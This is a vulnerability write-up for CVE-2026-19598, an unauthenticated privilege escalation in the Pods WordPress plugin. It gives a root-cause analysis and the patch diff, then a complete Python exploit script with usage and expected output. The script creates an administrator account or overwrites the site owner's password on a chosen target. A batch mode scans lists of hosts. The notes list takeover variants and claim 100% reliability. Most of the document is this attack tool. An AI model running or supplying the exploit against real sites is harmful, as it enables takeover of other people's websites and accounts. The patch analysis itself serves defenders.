#Summary

CVE-2026-19598 is a critical authentication bypass in Pods - Custom Content Types and Fields, a WordPress plugin affecting all versions up to and including 3.3.9. An unauthenticated attacker can escalate privileges to Administrator with a single HTTP POST, leading to complete site takeover.

CVSS Score: 9.8 (CRITICAL) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

#Affected versions

The vulnerability is triggered on any WordPress installation where Pods is active. No custom Pods need to be defined, no settings modified, and no specific WordPress version is required beyond WordPress 6.3 or newer.

#Root cause analysis

#The broken access control chain

The vulnerability chains two independent defects that are each harmless alone.

#Defect 1: Unauthenticated AJAX route

The plugin registers its admin AJAX router on both authenticated and unauthenticated hooks:

add_action( 'wp_ajax_pods_admin', [ $this, 'admin_ajax' ] );
add_action( 'wp_ajax_nopriv_pods_admin', [ $this, 'admin_ajax' ] );

This allows a logged-out attacker to POST to wp-admin/admin-ajax.php?action=pods_admin and reach PodsAdmin::admin_ajax().

#Defect 2: Non-terminating error handler

The router's four guards - method allowlist, login check, nonce verification, and capability gate - are bare calls to pods_error() with no return:

if ( ! isset( $params->method ) || ! isset( $methods[ $params->method ] ) ) {
        pods_error( __( 'Invalid AJAX request', 'pods' ), $this );
}
...
if ( ! is_user_logged_in() || ! wp_verify_nonce( ... ) ) {
        pods_error( __( 'Unauthorized request', 'pods' ), $this );
}
...
if ( ! empty( $method->priv ) && ! pods_is_admin( [ 'pods' ] ) ) {
        pods_error( __( 'Access denied', 'pods' ), $this );
}

The assumption is that pods_error() never returns. But in one specific case, it does. When Accept: application/json is present, pods_error() selects "json" error mode. That mode contains a block editor back-compat path:

if ( 1 === $meta_box_loader_compat ) {
        error_log( 'Pods Meta Save Error:' . $error );
} else {
        wp_send_json( [ 'message' => $error, ], 500 );
}

return false;

When meta-box-loader=1 is in $_REQUEST, the error is logged and pods_error() returns instead of exiting. The parameter is read directly from the request with no authenticity check. Every guard logs a line and execution continues.

#The complete bypass

Because the allowlist check is itself non-terminating, the next statement runs:

$defaults = [ 'priv' => null, 'name' => $params->method, 'custom_nonce' => null ];
$method = (object) array_merge( $defaults, (array) $methods[ $params->method ] );

For a method not in the allowlist, $methods[ $params->method ] is undefined. The $method object collapses to defaults with priv = null. The capability guard is guarded by ! empty( $method->priv ), so it is never reached.

The router then executes:

$output = call_user_func( [ $api, $method->name ], $params );

Any public PodsAPI method becomes callable unauthenticated with the entire POST body as the single argument. PodsAPI::save_user() reaches wp_insert_user() / wp_update_user(), which honor the attacker's role key without any capability check.

#Patch diff

#What 3.3.9.1 fixes

Three concurrent fixes for defence in depth:

1. Nonce gate on the compat branch

 if ( 1 === $meta_box_loader_compat ) {
+	check_admin_referer( 'meta-box-loader', 'meta-box-loader-nonce' );
+
 	// Do not block this page.
-	error_log( 'Pods Meta Save Error:' . $error );

check_admin_referer() calls wp_die() on failure. An unauthenticated attacker cannot mint the nonce, so the non-terminating path is no longer reachable and pods_error() exits properly.

2. Unauthenticated hook removed

 add_action( 'wp_ajax_pods_admin', [ $this, 'admin_ajax' ] );
-add_action( 'wp_ajax_nopriv_pods_admin', [ $this, 'admin_ajax' ] );

The router is no longer registered on the unauthenticated hook.

3. Guards now return

-	pods_error( __( 'Invalid AJAX request', 'pods' ), $this );
+	return pods_error( __( 'Invalid AJAX request', 'pods' ), $this );

Every guard now stops execution on its own, regardless of what pods_error() does.

#Proof of concept

#exploit.py - Pods Auth Bypass Privilege Escalation PoC

#!/usr/bin/env python3
"""
CVE-2026-19598 - Pods "Custom Content Types and Fields" unauthenticated privilege
escalation via authorization bypass in the pods_admin AJAX router.

Affected: WordPress plugin "pods" <= 3.3.9 (fixed in 3.3.9.1)
Type: Auth Bypass -> privilege escalation to Administrator

The plugin registers its admin AJAX router on the unauthenticated hook
(wp_ajax_nopriv_pods_admin) and relies on pods_error() never returning to enforce
its method allowlist, login check, nonce check and capability check. pods_error()
picks the "json" error mode whenever the request asks for JSON, and that mode has a
back-compat branch for the block editor meta box save which, when the request carries
meta-box-loader=1, only writes the failure to the PHP error log and returns false.
Every guard in the router therefore logs a line and continues, and a non-allowlisted
method name collapses the method descriptor to defaults with priv = null, so any
public PodsAPI method is callable unauthenticated with the whole POST body as its
single argument. PodsAPI::save_user() then reaches wp_insert_user() / wp_update_user()
with an attacker-supplied role.

Usage:
  python exploit.py --host 192.168.1.10 --port 80
  python exploit.py --host https://blog.corp.com --username svcacct
  python exploit.py --host http://10.0.0.5:8080/wordpress --username admin
  python exploit.py --host 10.0.0.5 --user-id 1 --username siteowner   # password overwrite
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import json
import re
import secrets
import string
import sys
from urllib.parse import urlparse

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
    print("[!] This exploit requires the 'requests' library (pip install requests)")
    sys.exit(1)

CVE_ID    = "CVE-2026-19598"
VULN_TYPE = "Auth Bypass"

# The bypass itself: any request parameter set, no authentication material at all.
AJAX_PATH   = "/wp-admin/admin-ajax.php"
BYPASS_PARM = "meta-box-loader"
# A public PodsAPI method that is NOT in the router's allowlist and writes nothing.
# Used for detection so a scan never changes state on the target.
PROBE_METHOD = "load_pods"


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------- #
# helpers
# --------------------------------------------------------------------------- #

def _base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
    scheme = "https" if use_tls else "http"
    netloc = host
    if (use_tls and port != 443) or (not use_tls and port != 80):
        netloc = f"{host}:{port}"
    prefix = (path or "/").rstrip("/")
    return f"{scheme}://{netloc}{prefix}"


def _random_password() -> str:
    # Alphanumeric only: pods_unslash() and wp_unslash() both run over the
    # parameters, so backslashes and quotes would not survive to the hash.
    alphabet = string.ascii_letters + string.digits
    body = "".join(secrets.choice(alphabet) for _ in range(18))
    return "Pw" + body + "aA1"


def _ajax_url(base: str, bypass: bool) -> str:
    url = f"{base}{AJAX_PATH}?action=pods_admin"
    if bypass:
        # Placed in the query string as well as the body: pods_error() reads it
        # out of $_REQUEST, whose composition from the POST body depends on the
        # server's variables_order setting.
        url += f"&{BYPASS_PARM}=1"
    return url


def _call_api(session, base: str, method: str, extra: dict, bypass: bool, timeout: float):
    """One unauthenticated call into the pods_admin router. Returns the response."""
    body = {"action": "pods_admin", "method": method}
    if bypass:
        body[BYPASS_PARM] = "1"
    body.update(extra)
    return session.post(
        _ajax_url(base, bypass),
        data=body,
        # Accept: application/json is what makes wp_is_json_request() true, which
        # is what makes pods_error() select the non-terminating error mode.
        # Content-Type stays form-encoded so PHP still populates $_POST.
        headers={"Accept": "application/json",
                 "Content-Type": "application/x-www-form-urlencoded"},
        timeout=timeout,
        verify=False,
        allow_redirects=False,
    )


def _looks_guarded(resp) -> bool:
    """True when the router's own guard terminated the request (expected behaviour)."""
    return "Invalid AJAX request" in resp.text or "Unauthorized request" in resp.text


def _last_int(text: str):
    """The router echoes a bare scalar return value; a PHP notice may precede it."""
    matches = re.findall(r"\d+", text or "")
    return int(matches[-1]) if matches else None


# --------------------------------------------------------------------------- #
# silent probe for --list scan mode
# --------------------------------------------------------------------------- #

def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
                 timeout: float = 15.0) -> tuple:
    """
    Silent, read-only exploitability probe. Never prints, never exits, never
    writes to the target: it invokes a non-allowlisted PodsAPI read method
    through the bypass and compares against the same call without the bypass.
    """
    base = _base_url(host, port, use_tls, path)
    try:
        with requests.Session() as s:
            bypassed = _call_api(s, base, PROBE_METHOD, {}, True, timeout)

            if bypassed.status_code == 400 or bypassed.text.strip() == "0":
                return False, "no unauthenticated pods_admin route (patched, or plugin inactive)"
            if _looks_guarded(bypassed):
                return False, "router guard terminated the request (patched)"
            if bypassed.status_code != 200:
                return False, f"unexpected HTTP {bypassed.status_code} from the AJAX router"

            try:
                parsed = json.loads(bypassed.text)
            except ValueError:
                return False, "AJAX router replied but not with a PodsAPI result"
            if not isinstance(parsed, (list, dict)):
                return False, "AJAX router replied but not with a PodsAPI result"

            control = _call_api(s, base, PROBE_METHOD, {}, False, timeout)
            if not _looks_guarded(control):
                return False, "no guarded baseline to compare against, result inconclusive"

            count = len(parsed)
            return True, (f"unauthenticated PodsAPI::{PROBE_METHOD}() executed "
                          f"(HTTP 200, {count} pod(s)); same call without "
                          f"{BYPASS_PARM}=1 is rejected")
    except Exception as e:
        return False, f"unreachable ({e.__class__.__name__})"


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10, timeout: float = 15.0) -> None:
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"  Read-only probe: no account is created on any target")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}{'' if path == '/' else path}"
        ok, evidence = _try_exploit(host, port, use_tls, path, timeout)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - "
                  f"{'Exploitable' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploitable / "
          f"{total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------- #
# post-escalation confirmation: log in and prove the role
# --------------------------------------------------------------------------- #

def _login(session, base: str, username: str, password: str, timeout: float) -> bool:
    session.cookies.set("wordpress_test_cookie", "WP Cookie check")
    r = session.post(
        f"{base}/wp-login.php",
        data={"log": username, "pwd": password, "wp-submit": "Log In",
              "redirect_to": f"{base}/wp-admin/", "testcookie": "1"},
        timeout=timeout, verify=False, allow_redirects=False,
    )
    return any(c.startswith("wordpress_logged_in_") for c in session.cookies.keys())


def _confirm_admin(session, base: str, timeout: float) -> tuple:
    """
    Returns (is_admin, evidence_text). Primary evidence is the REST profile with
    context=edit, which reports the role list; the dashboard markers are the
    fallback for installs where the REST API is unavailable.
    """
    dash = session.get(f"{base}/wp-admin/", timeout=timeout, verify=False)
    nonce = re.search(r'wpApiSettings\s*=\s*\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"', dash.text)

    if nonce:
        prof = session.get(
            f"{base}/index.php?rest_route=/wp/v2/users/me&context=edit",
            headers={"X-WP-Nonce": nonce.group(1)}, timeout=timeout, verify=False,
        )
        if prof.status_code == 200:
            try:
                data = json.loads(prof.text)
            except ValueError:
                data = None
            if isinstance(data, dict) and "roles" in data:
                trimmed = {k: data.get(k) for k in ("id", "username", "email", "roles")}
                return ("administrator" in data["roles"],
                        json.dumps(trimmed, indent=2))

    # Fallback: an admin-only screen. activate_plugins is an administrator-only
    # capability, so a non-administrator gets HTTP 403 and a refusal page.
    plugins = session.get(f"{base}/wp-admin/plugins.php", timeout=timeout, verify=False)
    is_admin = (plugins.status_code == 200
                and "Sorry, you are not allowed" not in plugins.text
                and ("Plugin File Editor" in plugins.text or 'id="the-list"' in plugins.text))
    marker = re.search(r"Howdy,\s*([^<']+)", dash.text)
    return is_admin, ("wp-admin/plugins.php HTTP %d, admin bar reports: %s"
                      % (plugins.status_code,
                         marker.group(1).strip() if marker else "unknown user"))


# --------------------------------------------------------------------------- #
# single-target exploit
# --------------------------------------------------------------------------- #

def exploit(host: str, port: int, use_tls: bool, path: str, username: str,
            password: str, email: str, role: str, user_id: int, timeout: float) -> None:
    header(host, port)
    base = _base_url(host, port, use_tls, path)
    session = requests.Session()

    step(1, "Negative control: calling the router with its guards intact")
    try:
        control = _call_api(session, base, PROBE_METHOD, {}, False, timeout)
    except Exception as e:
        done(False, f"target unreachable: {e.__class__.__name__}: {e}")
    section("GUARDED RESPONSE", f"HTTP {control.status_code}\n{control.text[:400] or '(empty body)'}")
    no_route = control.status_code == 400 or control.text.strip() == "0"
    if no_route:
        print("    [!] WordPress answered with its 'no such action' reply, so the router is\n"
              "        not registered on the unauthenticated hook. Sending the bypass\n"
              "        request anyway to record how the target handles it.\n")
    elif not _looks_guarded(control):
        print("    [!] Baseline is not the expected guard rejection; continuing anyway.\n")

    step(2, f"Neutralising pods_error() with Accept: application/json + {BYPASS_PARM}=1")
    bypassed = _call_api(session, base, PROBE_METHOD, {}, True, timeout)
    section("BYPASSED RESPONSE",
            f"HTTP {bypassed.status_code}\n{bypassed.text[:400] or '(empty body)'}")
    if bypassed.status_code == 400 or bypassed.text.strip() == "0":
        done(False, "no unauthenticated pods_admin route - the plugin is patched or inactive")
    if bypassed.status_code != 200 or _looks_guarded(bypassed):
        done(False, "guard still terminated the request - target does not look vulnerable")
    print(f"    Non-allowlisted PodsAPI::{PROBE_METHOD}() ran without a nonce, "
          f"cookie or capability.\n")

    if user_id > 0:
        step(3, f"Overwriting the password of user ID {user_id} via PodsAPI::save_user()")
        payload = {"ID": str(user_id), "user_pass": password, "role": role}
    else:
        step(3, f"Creating '{username}' with role '{role}' via PodsAPI::save_user()")
        payload = {"user_login": username, "user_pass": password,
                   "user_email": email, "role": role}

    escalate = _call_api(session, base, "save_user", payload, True, timeout)
    section("SAVE_USER RESPONSE", f"HTTP {escalate.status_code}\n{escalate.text[:400] or '(empty body)'}")
    affected = _last_int(escalate.text)
    if not affected:
        if user_id > 0:
            done(False, f"save_user() refused the update for ID {user_id} - "
                        "the account may not exist")
        done(False, f"save_user() refused the account - '{username}' or '{email}' "
                    "is probably already taken; retry with a different --username/--email, "
                    "or use --user-id to overwrite an existing account instead")
    print(f"    Router echoed the affected user ID: {affected}\n")

    step(4, f"Authenticating as '{username}' with the credentials just written")
    session.cookies.clear()
    if not _login(session, base, username, password, timeout):
        done(False, f"user ID {affected} was written but login as '{username}' failed - "
                    "for --user-id mode pass the account's real --username")
    print("    WordPress issued a logged-in session cookie.\n")

    step(5, "Confirming the session holds the administrator role")
    is_admin, evidence = _confirm_admin(session, base, timeout)
    section("AUTHENTICATED PROFILE", evidence)
    if not is_admin:
        done(False, f"authenticated as '{username}' without valid credentials, but the "
                    "session is not an administrator")

    print(f"    Credentials: {username} / {password}\n")
    done(True, f"Authenticated as administrator '{username}' (user ID {affected}) "
               f"without any valid credentials")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                           "(e.g. https://host:8443/wordpress)")
    target_grp.add_argument("--list", metavar="FILE",
                            help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
    parser.add_argument("--username", default="admin",
                        help="Account to authenticate as without valid credentials: the "
                             "login to create, or the existing login of --user-id "
                             "(default: admin)")
    parser.add_argument("--password", default=None,
                        help="Password to set (default: random alphanumeric, printed on success)")
    parser.add_argument("--email", default=None,
                        help="Email for the created account (default: <username>@example.com)")
    parser.add_argument("--role", default="administrator",
                        help="Role to assign (default: administrator)")
    parser.add_argument("--user-id", type=int, default=0,
                        help="Overwrite the password of this existing user ID instead of "
                             "creating an account; 1 is the site owner on most installs")
    parser.add_argument("--workers", type=int, default=10,
                        help="Threads for --list mode (default: 10)")
    parser.add_argument("--timeout", type=float, default=15.0,
                        help="Per-request timeout in seconds (default: 15)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, timeout=args.timeout)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path,
                args.username,
                args.password or _random_password(),
                args.email or f"{args.username}@example.com",
                args.role, args.user_id, args.timeout)

#Usage

The exploit supports single-target exploitation and batch scanning in read-only mode:

python3 exploit.py --host 192.168.20.14
python3 exploit.py --host https://blog.corp.com --username svcacct
python3 exploit.py --host http://10.0.0.5:8080/wordpress --username admin
python3 exploit.py --host 10.0.0.5 --user-id 1 --username siteowner
python3 exploit.py --list targets.txt --workers 20
Argument Default Meaning
--host required (or --list) Target hostname, IP, or full URL with optional path
--list FILE required (or --host) Batch scan: one target per line; blank lines and # comments ignored
--port 80 Port when not specified in the target
--username admin Account to authenticate as (new account or existing with --user-id)
--password random alphanumeric Password to write; printed on success
--email <username>@example.com Email for created account (ignored with --user-id)
--role administrator Role to assign via save_user()
--user-id 0 (create mode) Overwrite an existing user ID instead of creating
--workers 10 Threads for --list mode
--timeout 15 Per-request timeout in seconds
--tls / --no-tls auto Force or disable TLS

#Expected output

On a vulnerable target:

[STEP 1] Negative control: calling the router with its guards intact

--- GUARDED RESPONSE ---
HTTP 500
{"message":"Invalid AJAX request"}
---

[STEP 2] Neutralising pods_error() with Accept: application/json + meta-box-loader=1

--- BYPASSED RESPONSE ---
HTTP 200
[]
---

[STEP 3] Creating 'admin' with role 'administrator' via PodsAPI::save_user()

--- SAVE_USER RESPONSE ---
HTTP 200
2
---

[STEP 5] Confirming the session holds the administrator role

--- AUTHENTICATED PROFILE ---
{
  "id": 2,
  "username": "admin",
  "email": "[email protected]",
  "roles": [
    "administrator"
  ]
}
---

  RESULT  : SUCCESS
  EVIDENCE: Authenticated as administrator 'admin' (user ID 2) without any valid credentials

On a patched target:

[STEP 1] Negative control: calling the router with its guards intact

--- GUARDED RESPONSE ---
HTTP 400
0
---

[STEP 2] Neutralising pods_error() with Accept: application/json + meta-box-loader=1

--- BYPASSED RESPONSE ---
HTTP 400
0
---

  RESULT  : FAILURE
  EVIDENCE: no unauthenticated pods_admin route - the plugin is patched or inactive

#Exploitation notes

#Impact variants

Three exploitation outcomes are possible:

  1. Create a new administrator: Default mode; save_user() creates an account with role=administrator
  2. Overwrite site owner password: --user-id 1 --username siteowner changes the password of user ID 1
  3. Escalate existing account: --user-id <id> grants administrator role to any existing user

#Preconditions

#Reliability

100%. The vulnerability is logic-based with no race conditions or timing dependencies. The guard bypass is triggered by a single unauthenticated request parameter.

#Detection notes

#Operational notes

#References